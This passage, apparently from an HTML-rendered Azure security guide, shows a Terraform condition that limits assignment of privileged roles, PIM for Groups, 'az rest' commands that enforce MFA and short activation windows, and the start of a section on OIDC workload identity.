style=\"color:#66d9ef\"\u003eAuthorization\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eroleAssignments\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ewrite\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026#39;\u003c/span\u003e}))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003eOR\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      (\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eRequest\u003c/span\u003e[\u003cspan style=\"color:#66d9ef\"\u003eMicrosoft\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003eAuthorization\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eroleAssignments\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eRoleDefinitionId\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#66d9ef\"\u003eForAllOfAnyValues\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eGuidNotEquals\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003eaf\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e657\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ea8ff\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e443\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003ec-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ea75c\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003efe\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003ec\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003ebcb\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e635\u003c/span\u003e,\u003cspan style=\"color:#75715e\"\u003e # Owner\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#ae81ff\"\u003e18\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e7\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003ed\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e88\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003ed-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ed4f5\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e35\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e97\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ec3f4b4b9b9b6\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e  # User Access Administrator\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      )\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    )\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eEOT\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  skip_service_principal_aad_check \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"privileged-identity-management\"\u003ePrivileged Identity Management\u003c/h2\u003e\n\u003ch3 id=\"pim-for-groups--scaling-jit-access\"\u003ePIM for Groups — Scaling JIT Access\u003c/h3\u003e\n\u003cp\u003ePIM for Groups (GA since 2023) ensures that users hold an \u003cstrong\u003eeligible\u003c/strong\u003e assignment rather than a \u003cstrong\u003estanding\u003c/strong\u003e one. Users are made eligible members of an Entra security group, and the group holds the role assignment.\u003c/p\u003e\n\u003cp\u003eThis separates access management (group membership) from role management (group assignments). Adding a new engineer means adding them to the \u003ccode\u003esg-platform-engineers\u003c/code\u003e group as an eligible member.\u003c/p\u003e\n\u003ch3 id=\"automating-pim-role-settings\"\u003eAutomating PIM Role Settings\u003c/h3\u003e\n\u003cp\u003ePIM role settings (activation duration, MFA, approval) must be configured per-role per-scope. Since these are not fully supported in the \u003ccode\u003eazurerm\u003c/code\u003e provider yet, use the Microsoft Graph API via a two-step \u003ccode\u003eaz rest\u003c/code\u003e process:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 1. Fetch the specific policy ID for the \u0026#39;Owner\u0026#39; role at this scope\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePOLICY_ID\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003eaz rest --method GET --url \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://management.azure.com/providers/Microsoft.Management/managementGroups/\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eMG_ID\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e/providers/Microsoft.Authorization/roleManagementPolicies?api-version=2020-10-01\u0026#34;\u003c/span\u003e --query \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;value[?roleDefinitionId==\u0026#39;/providers/Microsoft.Authorization/roleDefinitions/\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eOWNER_ROLE_ID\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;].id\u0026#34;\u003c/span\u003e -o tsv\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 2. PATCH the policy to require MFA and 2-hour max duration\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eaz rest --method PATCH --url \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://management.azure.com/\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003ePOLICY_ID\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e?api-version=2020-10-01\u0026#34;\u003c/span\u003e --body \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;{\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    \u0026#34;properties\u0026#34;: {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      \u0026#34;rules\u0026#34;: [\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          \u0026#34;id\u0026#34;: \u0026#34;Expiration_Admin_Assignment\u0026#34;,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          \u0026#34;ruleType\u0026#34;: \u0026#34;RoleManagementPolicyExpirationRule\u0026#34;,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          \u0026#34;isExpirationRequired\u0026#34;: true,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          \u0026#34;maximumDuration\u0026#34;: \u0026#34;PT2H\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        },\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          \u0026#34;id\u0026#34;: \u0026#34;Enablement_Admin_Assignment\u0026#34;,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          \u0026#34;ruleType\u0026#34;: \u0026#34;RoleManagementPolicyEnablementRule\u0026#34;,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e          \u0026#34;enabledRules\u0026#34;: [\u0026#34;MultiFactorAuthentication\u0026#34;, \u0026#34;Justification\u0026#34;]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      ]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e  }\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch3 id=\"pipelines-without-secrets-workload-identity-with-oidc\"\u003ePipelines Without Secrets: Workload Identity with OIDC\u003c/h3\u003e\n\u003cp\u003eWorkload Identity Federation (OIDC) replaces static client secrets with short-lived tokens.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 544 473\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 56,32 L 208,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,80 L 208,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,128 L 240,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,160 L 240,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,160 L 304,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,208 L 240,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,208 L 304,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,256 L 240,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,304 L 424,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,336 L 424,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,336 L 496,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,384 L 424,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,384 L 496,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,432 L 424,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,16 L 56,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,32 L 56,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,80 L 56,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,128 L 56,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,272 L 56,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,304 L 56,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,440 L 56,456' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 168,160 L 168,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 208,32 L 208,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,16 L 240,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,144 L 240,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,208 L 240,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,256 L 240,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,320 L 240,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,440 L 240,456' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,176 L 320,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,336 L 352,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,16 L 424,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,208 L 424,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,320 L 424,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,384 L 424,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 424,432 L 424,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 432,176 L 432,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,336 L 496,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,312 L 240,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,440 L 240,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='64.000000,256.000000 52.000000,250.399994 52.000000,261.600006' fill='currentColor' transform='rotate(180.000000, 56.000000, 256.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='64.000000,432.000000 52.000000,426.399994 52.000000,437.600006' fill='currentColor' transform='rotate(180.000000, 56.000000, 432.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='248.000000,128.000000 236.000000,122.400002 236.000000,133.600006' fill='currentColor' transform='rotate(0.000000, 240.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='432.000000,304.000000 420.000000,298.399994 420.000000,309.600006' fill='currentColor' transform='rotate(0.000000, 424.000000, 304.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 304,160 A 16,16 0 0,1 320,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 320,192 A 16,16 0 0,1 304,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='8' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='8' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='8' y='116' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='8' y='244' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='8' y='292' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='8' y='420' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='244' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='292' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='420' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='244' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='292' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='420' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='244' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='244' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='292' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='420' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='244' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='292' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='420' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='420' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='292' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='420' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='244' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='420' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='244' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='292' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='292' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='292' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='420' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='244' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='292' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='420' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='244' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='292' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='420' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='244' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='420' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' 